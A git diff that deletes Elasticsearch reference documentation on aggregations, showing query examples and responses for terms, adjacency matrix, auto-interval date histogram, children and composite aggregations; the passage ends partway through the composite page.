-GET /my-index-000001/_search
-{
-  "aggs": {
-    "my-agg-name": {
-      "terms": {
-        "field": "my-field"
-      }
-    }
-  }
-}
-----
-// TEST[setup:my_index]
-// TEST[s/my-field/http.request.method/]
-
-Aggregation results are in the response's `aggregations` object:
-
-[source,console-result]
-----
-{
-  "took": 78,
-  "timed_out": false,
-  "_shards": {
-    "total": 1,
-    "successful": 1,
-    "skipped": 0,
-    "failed": 0
-  },
-  "hits": {
-    "total": {
-      "value": 5,
-      "relation": "eq"
-    },
-    "max_score": 1.0,
-    "hits": [...]
-  },
-  "aggregations": {
-    "my-agg-name": {                           <1>
-      "doc_count_error_upper_bound": 0,
-      "sum_other_doc_count": 0,
-      "buckets": []
-    }
-  }
-}
-----
-// TESTRESPONSE[s/"took": 78/"took": "$body.took"/]
-// TESTRESPONSE[s/\.\.\.$/"took": "$body.took", "timed_out": false, "_shards": "$body._shards", /]
-// TESTRESPONSE[s/"hits": \[\.\.\.\]/"hits": "$body.hits.hits"/]
-// TESTRESPONSE[s/"buckets": \[\]/"buckets":\[\{"key":"get","doc_count":5\}\]/]
-
-<1> Results for the `my-agg-name` aggregation.
-
-[discrete]
-[[change-agg-scope]]
-=== Change an aggregation's scope
-
-Use the `query` parameter to limit the documents on which an aggregation runs:
-
-[source,console]
-----
-GET /my-index-000001/_search
-{
-  "query": {
-    "range": {
-      "@timestamp": {
-        "gte": "now-1d/d",
-        "lt": "now/d"
-      }
-    }
-  },
-  "aggs": {
-    "my-agg-name": {
-      "terms": {
-        "field": "my-field"
-      }
-    }
-  }
-}
-----
-// TEST[setup:my_index]
-// TEST[s/my-field/http.request.method/]
-
-[discrete]
-[[return-only-agg-results]]
-=== Return only aggregation results
-
-By default, searches containing an aggregation return both search hits and
-aggregation results. To return only aggregation results, set `size` to `0`:
-
-[source,console]
-----
-GET /my-index-000001/_search
-{
-  "size": 0,
-  "aggs": {
-    "my-agg-name": {
-      "terms": {
-        "field": "my-field"
-      }
-    }
-  }
-}
-----
-// TEST[setup:my_index]
-// TEST[s/my-field/http.request.method/]
-
-[discrete]
-[[run-multiple-aggs]]
-=== Run multiple aggregations
-
-You can specify multiple aggregations in the same request:
-
-[source,console]
-----
-GET /my-index-000001/_search
-{
-  "aggs": {
-    "my-first-agg-name": {
-      "terms": {
-        "field": "my-field"
-      }
-    },
-    "my-second-agg-name": {
-      "avg": {
-        "field": "my-other-field"
-      }
-    }
-  }
-}
-----
-// TEST[setup:my_index]
-// TEST[s/my-field/http.request.method/]
-// TEST[s/my-other-field/http.response.bytes/]
-
-[discrete]
-[[run-sub-aggs]]
-=== Run sub-aggregations
-
-Bucket aggregations support bucket or metric sub-aggregations. For example, a
-terms aggregation with an <<search-aggregations-metrics-avg-aggregation,avg>>
-sub-aggregation calculates an average value for each bucket of documents. There
-is no level or depth limit for nesting sub-aggregations.
-
-[source,console]
-----
-GET /my-index-000001/_search
-{
-  "aggs": {
-    "my-agg-name": {
-      "terms": {
-        "field": "my-field"
-      },
-      "aggs": {
-        "my-sub-agg-name": {
-          "avg": {
-            "field": "my-other-field"
-          }
-        }
-      }
-    }
-  }
-}
-----
-// TEST[setup:my_index]
-// TEST[s/_search/_search?size=0/]
-// TEST[s/my-field/http.request.method/]
-// TEST[s/my-other-field/http.response.bytes/]
-
-The response nests sub-aggregation results under their parent aggregation:
-
-[source,console-result]
-----
-{
-  ...
-  "aggregations": {
-    "my-agg-name": {                           <1>
-      "doc_count_error_upper_bound": 0,
-      "sum_other_doc_count": 0,
-      "buckets": [
-        {
-          "key": "foo",
-          "doc_count": 5,
-          "my-sub-agg-name": {                 <2>
-            "value": 75.0
-          }
-        }
-      ]
-    }
-  }
-}
-----
-// TESTRESPONSE[s/\.\.\./"took": "$body.took", "timed_out": false, "_shards": "$body._shards", "hits": "$body.hits",/]
-// TESTRESPONSE[s/"key": "foo"/"key": "get"/]
-// TESTRESPONSE[s/"value": 75.0/"value": $body.aggregations.my-agg-name.buckets.0.my-sub-agg-name.value/]
-
-<1> Results for the parent aggregation, `my-agg-name`.
-<2> Results for `my-agg-name`'s sub-aggregation, `my-sub-agg-name`.
-
-[discrete]
-[[add-metadata-to-an-agg]]
-=== Add custom metadata
-
-Use the `meta` object to associate custom metadata with an aggregation:
-
-[source,console]
-----
-GET /my-index-000001/_search
-{
-  "aggs": {
-    "my-agg-name": {
-      "terms": {
-        "field": "my-field"
-      },
-      "meta": {
-        "my-metadata-field": "foo"
-      }
-    }
-  }
-}
-----
-// TEST[setup:my_index]
-// TEST[s/_search/_search?size=0/]
-
-The response returns the `meta` object in place:
-
-[source,console-result]
-----
-{
-  ...
-  "aggregations": {
-    "my-agg-name": {
-      "meta": {
-        "my-metadata-field": "foo"
-      },
-      "doc_count_error_upper_bound": 0,
-      "sum_other_doc_count": 0,
-      "buckets": []
-    }
-  }
-}
-----
-// TESTRESPONSE[s/\.\.\./"took": "$body.took", "timed_out": false, "_shards": "$body._shards", "hits": "$body.hits",/]
-
-[discrete]
-[[return-agg-type]]
-=== Return the aggregation type
-
-By default, aggregation results include the aggregation's name but not its type.
-To return the aggregation type, use the `typed_keys` query parameter.
-
-[source,console]
-----
-GET /my-index-000001/_search?typed_keys
-{
-  "aggs": {
-    "my-agg-name": {
-      "histogram": {
-        "field": "my-field",
-        "interval": 1000
-      }
-    }
-  }
-}
-----
-// TEST[setup:my_index]
-// TEST[s/typed_keys/typed_keys&size=0/]
-// TEST[s/my-field/http.response.bytes/]
-
-The response returns the aggregation type as a prefix to the aggregation's name.
-
-IMPORTANT: Some aggregations return a different aggregation type from the
-type in the request. For example, the terms,
-<<search-aggregations-bucket-significantterms-aggregation,significant terms>>,
-and <<search-aggregations-metrics-percentile-aggregation,percentiles>>
-aggregations return different aggregations types depending on the data type of
-the aggregated field.
-
-[source,console-result]
-----
-{
-  ...
-  "aggregations": {
-    "histogram#my-agg-name": {                 <1>
-      "buckets": []
-    }
-  }
-}
-----
-// TESTRESPONSE[s/\.\.\./"took": "$body.took", "timed_out": false, "_shards": "$body._shards", "hits": "$body.hits",/]
-// TESTRESPONSE[s/"buckets": \[\]/"buckets":\[\{"key":1070000.0,"doc_count":5\}\]/]
-
-<1> The aggregation type, `histogram`, followed by a `#` separator and the aggregation's name, `my-agg-name`.
-
-[discrete]
-[[use-scripts-in-an-agg]]
-=== Use scripts in an aggregation
-
-Some aggregations support <<modules-scripting,scripts>>. You can
-use a `script` to extract or generate values for the aggregation:
-
-[source,console]
-----
-GET /my-index-000001/_search
-{
-  "aggs": {
-    "my-agg-name": {
-      "histogram": {
-        "interval": 1000,
-        "script": {
-          "source": "doc['my-field'].value.length()"
-        }
-      }
-    }
-  }
-}
-----
-// TEST[setup:my_index]
-// TEST[s/my-field/http.request.method/]
-
-If you also specify a `field`, the `script` modifies the field values used in
-the aggregation. The following aggregation uses a script to modify `my-field`
-values:
-
-[source,console]
-----
-GET /my-index-000001/_search
-{
-  "aggs": {
-    "my-agg-name": {
-      "histogram": {
-        "field": "my-field",
-        "interval": 1000,
-        "script": "_value / 1000"
-      }
-    }
-  }
-}
-----
-// TEST[setup:my_index]
-// TEST[s/my-field/http.response.bytes/]
-
-Some aggregations only work on specific data types. Use the `value_type`
-parameter to specify a data type for a script-generated value or an unmapped
-field. `value_type` accepts the following values:
-
-* `boolean`
-* `date`
-* `double`, used for all floating-point numbers
-* `long`, used for all integers
-* `ip`
-* `string`
-
-[source,console]
-----
-GET /my-index-000001/_search
-{
-  "aggs": {
-    "my-agg-name": {
-      "histogram": {
-        "field": "my-field",
-        "interval": 1000,
-        "script": "_value / 1000",
-        "value_type": "long"
-      }
-    }
-  }
-}
-----
-// TEST[setup:my_index]
-// TEST[s/my-field/http.response.bytes/]
-
-[discrete]
-[[agg-caches]]
-=== Aggregation caches
-
-For faster responses, {es} caches the results of frequently run aggregations in
-the <<shard-request-cache,shard request cache>>. To get cached results, use the
-same <<shard-and-node-preference,`preference` string>> for each search. If you
-don't need search hits, <<return-only-agg-results,set `size` to `0`>> to avoid
-filling the cache.
-
-{es} routes searches with the same preference string to the same shards. If the
-shards' data doesn’t change between searches, the shards return cached
-aggregation results.
-
-[discrete]
-[[limits-for-long-values]]
-=== Limits for `long` values
-
-When running aggregations, {es} uses <<number,`double`>> values to hold and
-represent numeric data. As a result, aggregations on <<number,`long`>> numbers
-greater than +2^53^+ are approximate.
---
-
-include::aggregations/bucket.asciidoc[]
-
-include::aggregations/metrics.asciidoc[]
-
-include::aggregations/pipeline.asciidoc[]
diff --git a/docs/reference/aggregations/bucket.asciidoc b/docs/reference/aggregations/bucket.asciidoc
deleted file mode 100644
index 233bc0da648..00000000000
--- a/docs/reference/aggregations/bucket.asciidoc
+++ /dev/null
@@ -1,73 +0,0 @@
-[[search-aggregations-bucket]]
-== Bucket aggregations
-
-Bucket aggregations don't calculate metrics over fields like the metrics aggregations do, but instead, they create
-buckets of documents. Each bucket is associated with a criterion (depending on the aggregation type) which determines
-whether or not a document in the current context "falls" into it. In other words, the buckets effectively define document
-sets. In addition to the buckets themselves, the `bucket` aggregations also compute and return the number of documents
-that "fell into" each bucket.
-
-Bucket aggregations, as opposed to `metrics` aggregations, can hold sub-aggregations. These sub-aggregations will be
-aggregated for the buckets created by their "parent" bucket aggregation.
-
-There are different bucket aggregators, each with a different "bucketing" strategy. Some define a single bucket, some
-define fixed number of multiple buckets, and others dynamically create the buckets during the aggregation process.
-
-NOTE: The maximum number of buckets allowed in a single response is limited by a
-dynamic cluster setting named
-<<search-settings-max-buckets,`search.max_buckets`>>. It defaults to 65,535.
-Requests that try to return more than the limit will fail with an exception.
-
-include::bucket/adjacency-matrix-aggregation.asciidoc[]
-
-include::bucket/autodatehistogram-aggregation.asciidoc[]
-
-include::bucket/children-aggregation.asciidoc[]
-
-include::bucket/composite-aggregation.asciidoc[]
-
-include::bucket/datehistogram-aggregation.asciidoc[]
-
-include::bucket/daterange-aggregation.asciidoc[]
-
-include::bucket/diversified-sampler-aggregation.asciidoc[]
-
-include::bucket/filter-aggregation.asciidoc[]
-
-include::bucket/filters-aggregation.asciidoc[]
-
-include::bucket/geodistance-aggregation.asciidoc[]
-
-include::bucket/geohashgrid-aggregation.asciidoc[]
-
-include::bucket/geotilegrid-aggregation.asciidoc[]
-
-include::bucket/global-aggregation.asciidoc[]
-
-include::bucket/histogram-aggregation.asciidoc[]
-
-include::bucket/iprange-aggregation.asciidoc[]
-
-include::bucket/missing-aggregation.asciidoc[]
-
-include::bucket/nested-aggregation.asciidoc[]
-
-include::bucket/parent-aggregation.asciidoc[]
-
-include::bucket/range-aggregation.asciidoc[]
-
-include::bucket/rare-terms-aggregation.asciidoc[]
-
-include::bucket/reverse-nested-aggregation.asciidoc[]
-
-include::bucket/sampler-aggregation.asciidoc[]
-
-include::bucket/significantterms-aggregation.asciidoc[]
-
-include::bucket/significanttext-aggregation.asciidoc[]
-
-include::bucket/terms-aggregation.asciidoc[]
-
-include::bucket/variablewidthhistogram-aggregation.asciidoc[]
-
-include::bucket/range-field-note.asciidoc[]
diff --git a/docs/reference/aggregations/bucket/adjacency-matrix-aggregation.asciidoc b/docs/reference/aggregations/bucket/adjacency-matrix-aggregation.asciidoc
deleted file mode 100644
index 407695dc2ed..00000000000
--- a/docs/reference/aggregations/bucket/adjacency-matrix-aggregation.asciidoc
+++ /dev/null
@@ -1,116 +0,0 @@
-[[search-aggregations-bucket-adjacency-matrix-aggregation]]
-=== Adjacency matrix aggregation
-++++
-<titleabbrev>Adjacency matrix</titleabbrev>
-++++
-
-A bucket aggregation returning a form of {wikipedia}/Adjacency_matrix[adjacency matrix].
-The request provides a collection of named filter expressions, similar to the `filters` aggregation
-request. 
-Each bucket in the response represents a non-empty cell in the matrix of intersecting filters.
-
-Given filters named `A`, `B` and `C` the response would return buckets with the following names:
-
-
-[options="header"]
-|=======================
-|  h|A   h|B  h|C   
-h|A |A   |A&B |A&C 
-h|B |    |B   |B&C 
-h|C |    |    |C  
-|=======================
-
-The intersecting buckets e.g `A&C` are labelled using a combination of the two filter names separated by
-the ampersand character. Note that the response does not also include a "C&A" bucket as this would be the
-same set of documents as "A&C". The matrix is said to be _symmetric_ so we only return half of it. To do this we sort 
-the filter name strings and always use the lowest of a pair as the value to the left of the "&" separator. 
-
-An alternative `separator` parameter can be passed in the request if clients wish to use a separator string 
-other than the default of the ampersand.
-
-
-Example:
-
-[source,console]
---------------------------------------------------
-PUT /emails/_bulk?refresh
-{ "index" : { "_id" : 1 } }
-{ "accounts" : ["hillary", "sidney"]}
-{ "index" : { "_id" : 2 } }
-{ "accounts" : ["hillary", "donald"]}
-{ "index" : { "_id" : 3 } }
-{ "accounts" : ["vladimir", "donald"]}
-
-GET emails/_search
-{
-  "size": 0,
-  "aggs" : {
-    "interactions" : {
-      "adjacency_matrix" : {
-        "filters" : {
-          "grpA" : { "terms" : { "accounts" : ["hillary", "sidney"] }},
-          "grpB" : { "terms" : { "accounts" : ["donald", "mitt"] }},
-          "grpC" : { "terms" : { "accounts" : ["vladimir", "nigel"] }}
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-In the above example, we analyse email messages to see which groups of individuals 
-have exchanged messages.
-We will get counts for each group individually and also a count of messages for pairs
-of groups that have recorded interactions.
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "took": 9,
-  "timed_out": false,
-  "_shards": ...,
-  "hits": ...,
-  "aggregations": {
-    "interactions": {
-      "buckets": [
-        {
-          "key":"grpA",
-          "doc_count": 2
-        },
-        {
-          "key":"grpA&grpB",
-          "doc_count": 1
-        },
-        {
-          "key":"grpB",
-          "doc_count": 2
-        },
-        {
-          "key":"grpB&grpC",
-          "doc_count": 1
-        },
-        {
-          "key":"grpC",
-          "doc_count": 1
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 9/"took": $body.took/]
-// TESTRESPONSE[s/"_shards": \.\.\./"_shards": $body._shards/]
-// TESTRESPONSE[s/"hits": \.\.\./"hits": $body.hits/]
-
-==== Usage
-On its own this aggregation can provide all of the data required to create an undirected weighted graph.
-However, when used with child aggregations such as a `date_histogram` the results can provide the
-additional levels of data required to perform {wikipedia}/Dynamic_network_analysis[dynamic network analysis]
-where examining interactions _over time_ becomes important.
-
-==== Limitations
-For N filters the matrix of buckets produced can be N²/2 and so there is a default maximum 
-imposed of 100 filters . This setting can be changed using the `index.max_adjacency_matrix_filters` index-level setting
-(note this setting is deprecated and will be repaced with `indices.query.bool.max_clause_count` in 8.0+).
diff --git a/docs/reference/aggregations/bucket/autodatehistogram-aggregation.asciidoc b/docs/reference/aggregations/bucket/autodatehistogram-aggregation.asciidoc
deleted file mode 100644
index 8f8912a29d6..00000000000
--- a/docs/reference/aggregations/bucket/autodatehistogram-aggregation.asciidoc
+++ /dev/null
@@ -1,316 +0,0 @@
-[[search-aggregations-bucket-autodatehistogram-aggregation]]
-=== Auto-interval date histogram aggregation
-++++
-<titleabbrev>Auto-interval date histogram</titleabbrev>
-++++
-
-A multi-bucket aggregation similar to the <<search-aggregations-bucket-datehistogram-aggregation>> except
-instead of providing an interval to use as the width of each bucket, a target number of buckets is provided
-indicating the number of buckets needed and the interval of the buckets is automatically chosen to best achieve
-that target. The number of buckets returned will always be less than or equal to this target number.
-
-The buckets field is optional, and will default to 10 buckets if not specified.
-
-Requesting a target of 10 buckets.
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "aggs": {
-    "sales_over_time": {
-      "auto_date_histogram": {
-        "field": "date",
-        "buckets": 10
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-==== Keys
-
-Internally, a date is represented as a 64 bit number representing a timestamp
-in milliseconds-since-the-epoch. These timestamps are returned as the bucket
-++key++s. The `key_as_string` is the same timestamp converted to a formatted
-date string using the format specified with the `format` parameter:
-
-TIP: If no `format` is specified, then it will use the first date
-<<mapping-date-format,format>> specified in the field mapping.
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "aggs": {
-    "sales_over_time": {
-      "auto_date_histogram": {
-        "field": "date",
-        "buckets": 5,
-        "format": "yyyy-MM-dd" <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-<1> Supports expressive date <<date-format-pattern,format pattern>>
-
-Response:
-
-[source,console-result]
---------------------------------------------------
-{
-  ...
-  "aggregations": {
-    "sales_over_time": {
-      "buckets": [
-        {
-          "key_as_string": "2015-01-01",
-          "key": 1420070400000,
-          "doc_count": 3
-        },
-        {
-          "key_as_string": "2015-02-01",
-          "key": 1422748800000,
-          "doc_count": 2
-        },
-        {
-          "key_as_string": "2015-03-01",
-          "key": 1425168000000,
-          "doc_count": 2
-        }
-      ],
-      "interval": "1M"
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-==== Intervals
-
-The interval of the returned buckets is selected based on the data collected by the
-aggregation so that the number of buckets returned is less than or equal to the number
-requested. The possible intervals returned are:
-
-[horizontal]
-seconds::      In multiples of 1, 5, 10 and 30
-minutes::      In multiples of 1, 5, 10 and 30
-hours::        In multiples of 1, 3 and 12
-days::         In multiples of 1, and 7
-months::       In multiples of 1, and 3
-years::        In multiples of 1, 5, 10, 20, 50 and 100
-
-In the worst case, where the number of daily buckets are too many for the requested
-number of buckets, the number of buckets returned will be 1/7th of the number of
-buckets requested.
-
-==== Time Zone
-
-Date-times are stored in Elasticsearch in UTC.  By default, all bucketing and
-rounding is also done in UTC. The `time_zone` parameter can be used to indicate
-that bucketing should use a different time zone.
-
-Time zones may either be specified as an ISO 8601 UTC offset (e.g. `+01:00` or
-`-08:00`)  or as a timezone id, an identifier used in the TZ database like
-`America/Los_Angeles`.
-
-Consider the following example:
-
-[source,console]
----------------------------------
-PUT my-index-00001/log/1?refresh
-{
-  "date": "2015-10-01T00:30:00Z"
-}
-
-PUT my-index-00001/log/2?refresh
-{
-  "date": "2015-10-01T01:30:00Z"
-}
-
-PUT my-index-00001/log/3?refresh
-{
-  "date": "2015-10-01T02:30:00Z"
-}
-
-GET my-index-00001/_search?size=0
-{
-  "aggs": {
-    "by_day": {
-      "auto_date_histogram": {
-        "field":     "date",
-        "buckets" : 3
-      }
-    }
-  }
-}
----------------------------------
-
-UTC is used if no time zone is specified, three 1-hour buckets are returned
-starting at midnight UTC on 1 October 2015:
-
-[source,console-result]
----------------------------------
-{
-  ...
-  "aggregations": {
-    "by_day": {
-      "buckets": [
-        {
-          "key_as_string": "2015-10-01T00:00:00.000Z",
-          "key": 1443657600000,
-          "doc_count": 1
-        },
-        {
-          "key_as_string": "2015-10-01T01:00:00.000Z",
-          "key": 1443661200000,
-          "doc_count": 1
-        },
-        {
-          "key_as_string": "2015-10-01T02:00:00.000Z",
-          "key": 1443664800000,
-          "doc_count": 1
-        }
-      ],
-      "interval": "1h"
-    }
-  }
-}
----------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-If a `time_zone` of `-01:00` is specified, then midnight starts at one hour before
-midnight UTC:
-
-[source,console]
----------------------------------
-GET my-index-00001/_search?size=0
-{
-  "aggs": {
-    "by_day": {
-      "auto_date_histogram": {
-        "field":     "date",
-        "buckets" : 3,
-        "time_zone": "-01:00"
-      }
-    }
-  }
-}
----------------------------------
-// TEST[continued]
-
-
-Now three 1-hour buckets are still returned but the first bucket starts at
-11:00pm on 30 September 2015 since that is the local time for the bucket in
-the specified time zone.
-
-[source,console-result]
----------------------------------
-{
-  ...
-  "aggregations": {
-    "by_day": {
-      "buckets": [
-        {
-          "key_as_string": "2015-09-30T23:00:00.000-01:00", <1>
-          "key": 1443657600000,
-          "doc_count": 1
-        },
-        {
-          "key_as_string": "2015-10-01T00:00:00.000-01:00",
-          "key": 1443661200000,
-          "doc_count": 1
-        },
-        {
-          "key_as_string": "2015-10-01T01:00:00.000-01:00",
-          "key": 1443664800000,
-          "doc_count": 1
-        }
-      ],
-      "interval": "1h"
-    }
-  }
-}
----------------------------------
-// TESTRESPONSE[s/\.\.\./"took": $body.took,"timed_out": false,"_shards": $body._shards,"hits": $body.hits,/]
-
-<1> The `key_as_string` value represents midnight on each day
-    in the specified time zone.
-
-WARNING: When using time zones that follow DST (daylight savings time) changes,
-buckets close to the moment when those changes happen can have slightly different
-sizes than neighbouring buckets.
-For example, consider a DST start in the `CET` time zone: on 27 March 2016 at 2am,
-clocks were turned forward 1 hour to 3am local time. If the result of the aggregation
-was daily buckets, the bucket covering that day will only hold data for 23 hours
-instead of the usual 24 hours for other buckets. The same is true for shorter intervals
-like e.g. 12h. Here, we will have only a 11h bucket on the morning of 27 March when the
-DST shift happens.
-
-==== Scripts
-
-Like with the normal <<search-aggregations-bucket-datehistogram-aggregation, `date_histogram`>>, both document level
-scripts and value level scripts are supported. This aggregation does not however, support the `min_doc_count`,
-`extended_bounds`, `hard_bounds` and `order` parameters.
-
-==== Minimum Interval parameter
-
-The `minimum_interval` allows the caller to specify the minimum rounding interval that should be used.
-This can make the collection process more efficient, as the aggregation will not attempt to round at
-any interval lower than `minimum_interval`.
-
-The accepted units for `minimum_interval` are:
-
-* year
-* month
-* day
-* hour
-* minute
-* second
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "aggs": {
-    "sale_date": {
-      "auto_date_histogram": {
-        "field": "date",
-        "buckets": 10,
-        "minimum_interval": "minute"
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-==== Missing value
-
-The `missing` parameter defines how documents that are missing a value should be treated.
-By default they will be ignored but it is also possible to treat them as if they
-had a value.
-
-[source,console]
---------------------------------------------------
-POST /sales/_search?size=0
-{
-  "aggs": {
-    "sale_date": {
-      "auto_date_histogram": {
-        "field": "date",
-        "buckets": 10,
-        "missing": "2000/01/01" <1>
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[setup:sales]
-
-<1> Documents without a value in the `publish_date` field will fall into the same bucket as documents that have the value `2000-01-01`.
-
diff --git a/docs/reference/aggregations/bucket/children-aggregation.asciidoc b/docs/reference/aggregations/bucket/children-aggregation.asciidoc
deleted file mode 100644
index fb355caeaa4..00000000000
--- a/docs/reference/aggregations/bucket/children-aggregation.asciidoc
+++ /dev/null
@@ -1,226 +0,0 @@
-[[search-aggregations-bucket-children-aggregation]]
-=== Children aggregation
-++++
-<titleabbrev>Children</titleabbrev>
-++++
-
-A special single bucket aggregation that selects child documents that have the specified type, as defined in a <<parent-join,`join` field>>.
-
-This aggregation has a single option:
-
-* `type` - The child type that should be selected.
-
-For example, let's say we have an index of questions and answers. The answer type has the following `join` field in the mapping:
-
-[source,console]
---------------------------------------------------
-PUT child_example
-{
-  "mappings": {
-    "properties": {
-      "join": {
-        "type": "join",
-        "relations": {
-          "question": "answer"
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-
-The `question` document contain a tag field and the `answer` documents contain an owner field. With the `children`
-aggregation the tag buckets can be mapped to the owner buckets in a single request even though the two fields exist in
-two different kinds of documents.
-
-An example of a question document:
-
-[source,console]
---------------------------------------------------
-PUT child_example/_doc/1
-{
-  "join": {
-    "name": "question"
-  },
-  "body": "<p>I have Windows 2003 server and i bought a new Windows 2008 server...",
-  "title": "Whats the best way to file transfer my site from server to a newer one?",
-  "tags": [
-    "windows-server-2003",
-    "windows-server-2008",
-    "file-transfer"
-  ]
-}
---------------------------------------------------
-// TEST[continued]
-
-Examples of `answer` documents:
-
-[source,console]
---------------------------------------------------
-PUT child_example/_doc/2?routing=1
-{
-  "join": {
-    "name": "answer",
-    "parent": "1"
-  },
-  "owner": {
-    "location": "Norfolk, United Kingdom",
-    "display_name": "Sam",
-    "id": 48
-  },
-  "body": "<p>Unfortunately you're pretty much limited to FTP...",
-  "creation_date": "2009-05-04T13:45:37.030"
-}
-
-PUT child_example/_doc/3?routing=1&refresh
-{
-  "join": {
-    "name": "answer",
-    "parent": "1"
-  },
-  "owner": {
-    "location": "Norfolk, United Kingdom",
-    "display_name": "Troll",
-    "id": 49
-  },
-  "body": "<p>Use Linux...",
-  "creation_date": "2009-05-05T13:45:37.030"
-}
---------------------------------------------------
-// TEST[continued]
-
-The following request can be built that connects the two together:
-
-[source,console]
---------------------------------------------------
-POST child_example/_search?size=0
-{
-  "aggs": {
-    "top-tags": {
-      "terms": {
-        "field": "tags.keyword",
-        "size": 10
-      },
-      "aggs": {
-        "to-answers": {
-          "children": {
-            "type" : "answer" <1>
-          },
-          "aggs": {
-            "top-names": {
-              "terms": {
-                "field": "owner.display_name.keyword",
-                "size": 10
-              }
-            }
-          }
-        }
-      }
-    }
-  }
-}
---------------------------------------------------
-// TEST[continued]
-
-<1> The `type` points to type / mapping with the name `answer`.
-
-The above example returns the top question tags and per tag the top answer owners.
-
-Possible response:
-
-[source,console-result]
---------------------------------------------------
-{
-  "took": 25,
-  "timed_out": false,
-  "_shards": {
-    "total": 1,
-    "successful": 1,
-    "skipped" : 0,
-    "failed": 0
-  },
-  "hits": {
-    "total" : {
-      "value": 3,
-      "relation": "eq"
-    },
-    "max_score": null,
-    "hits": []
-  },
-  "aggregations": {
-    "top-tags": {
-      "doc_count_error_upper_bound": 0,
-      "sum_other_doc_count": 0,
-      "buckets": [
-        {
-          "key": "file-transfer",
-          "doc_count": 1, <1>
-          "to-answers": {
-            "doc_count": 2, <2>
-            "top-names": {
-              "doc_count_error_upper_bound": 0,
-              "sum_other_doc_count": 0,
-              "buckets": [
-                {
-                  "key": "Sam",
-                  "doc_count": 1
-                },
-                {
-                  "key": "Troll",
-                  "doc_count": 1
-                }
-              ]
-            }
-          }
-        },
-        {
-          "key": "windows-server-2003",
-          "doc_count": 1, <1>
-          "to-answers": {
-            "doc_count": 2, <2>
-            "top-names": {
-              "doc_count_error_upper_bound": 0,
-              "sum_other_doc_count": 0,
-              "buckets": [
-                {
-                  "key": "Sam",
-                  "doc_count": 1
-                },
-                {
-                  "key": "Troll",
-                  "doc_count": 1
-                }
-              ]
-            }
-          }
-        },
-        {
-          "key": "windows-server-2008",
-          "doc_count": 1, <1>
-          "to-answers": {
-            "doc_count": 2, <2>
-            "top-names": {
-              "doc_count_error_upper_bound": 0,
-              "sum_other_doc_count": 0,
-              "buckets": [
-                {
-                  "key": "Sam",
-                  "doc_count": 1
-                },
-                {
-                  "key": "Troll",
-                  "doc_count": 1
-                }
-              ]
-            }
-          }
-        }
-      ]
-    }
-  }
-}
---------------------------------------------------
-// TESTRESPONSE[s/"took": 25/"took": $body.took/]
-
-<1> The number of question documents with the tag `file-transfer`, `windows-server-2003`, etc.
-<2> The number of answer documents that are related to question documents with the tag `file-transfer`, `windows-server-2003`, etc.
diff --git a/docs/reference/aggregations/bucket/composite-aggregation.asciidoc b/docs/reference/aggregations/bucket/composite-aggregation.asciidoc
deleted file mode 100644
index 8870e63dd2c..00000000000
--- a/docs/reference/aggregations/bucket/composite-aggregation.asciidoc
+++ /dev/null
@@ -1,859 +0,0 @@
-[[search-aggregations-bucket-composite-aggregation]]
-=== Composite aggregation
-++++
-<titleabbrev>Composite</titleabbrev>
-++++
-
-A multi-bucket aggregation that creates composite buckets from different sources.
-
-Unlike the other `multi-bucket` aggregations, you can use the `composite`
-aggregation to paginate **all** buckets from a multi-level aggregation
-efficiently. This aggregation provides a way to stream **all** buckets of a
-specific aggregation, similar to what
-<<scroll-search-results, scroll>> does for documents.
-
-The composite buckets are built from the combinations of the
-values extracted/created for each document and each combination is considered as
-a composite bucket.
-
-//////////////////////////
-
-[source,js]
---------------------------------------------------
-PUT /sales
-{
-  "mappings": {
-    "properties": {
-      "product": {
-          "type": "keyword"
-      },
-      "timestamp": {
-          "type": "date"
-      },
-      "price": {
-          "type": "long"
-      },
-      "shop": {
-          "type": "keyword"
-      },
-      "location": {
-          "type": "geo_point"
-      },
-      "nested": {
-          "type": "nested",
-          "properties": {
-            "product": {
-                "type": "keyword"
-            },
-            "timestamp": {
-                "type": "date"
-            },
-            "price": {
-                "type": "long"
-            },
-            "shop": {
-                "type": "keyword"
-            }
-          }
-       }
-    }
-  }
-}
-
-POST /sales/_bulk?refresh
-{"index":{"_id":0}}
-{"product": "mad max", "price": "20", "timestamp": "2017-05-09T14:35"}
-{"index":{"_id":1}}
-{"product": "mad max", "price": "25", "timestamp": "2017-05-09T12:35"}
-{"index":{"_id":2}}
-{"product": "rocky", "price": "10", "timestamp": "2017-05-08T09:10"}
-{"index":{"_id":3}}
-{"product": "mad max", "price": "27", "timestamp": "2017-05-10T07:07"}
-{"index":{"_id":4}}
-{"product": "apocalypse now", "price": "10", "timestamp": "2017-05-11T08:35"}
--------------------------------------------------
-// NOTCONSOLE
-// TESTSETUP
-
-//////////////////////////
-
-For example, consider the following document:
-
-[source,js]
---------------------------------------------------
-{
-  "keyword": ["foo", "bar"],
-  "number": [23, 65, 76]
-}
---------------------------------------------------
-// NOTCONSOLE
-
-Using `keyword` and `number` as source fields for the aggregation results in
-the following composite buckets:
-
-[source,js]
---------------------------------------------------
-{ "keyword": "foo", "number": 23 }
-{ "keyword": "foo", "number": 65 }
-{ "keyword": "foo", "number": 76 }
-{ "keyword": "bar", "number": 23 }
-{ "keyword": "bar", "number": 65 }
-{ "keyword": "bar", "number": 76 }
---------------------------------------------------
-// NOTCONSOLE
-
-==== Value sources
-
-The `sources` parameter defines the source fields to use when building
-composite buckets. The order that the `sources` are defined controls the order
-that the keys are returned.
-
-NOTE: You must use a unique name when defining `sources`.
-
-The `sources` parameter can be any of the following types:
-
-* <<_terms,Terms>>
-* <<_histogram,Histogram>>
-* <<_date_histogram,Date histogram>>
-* <<_geotile_grid,GeoTile grid>>
-
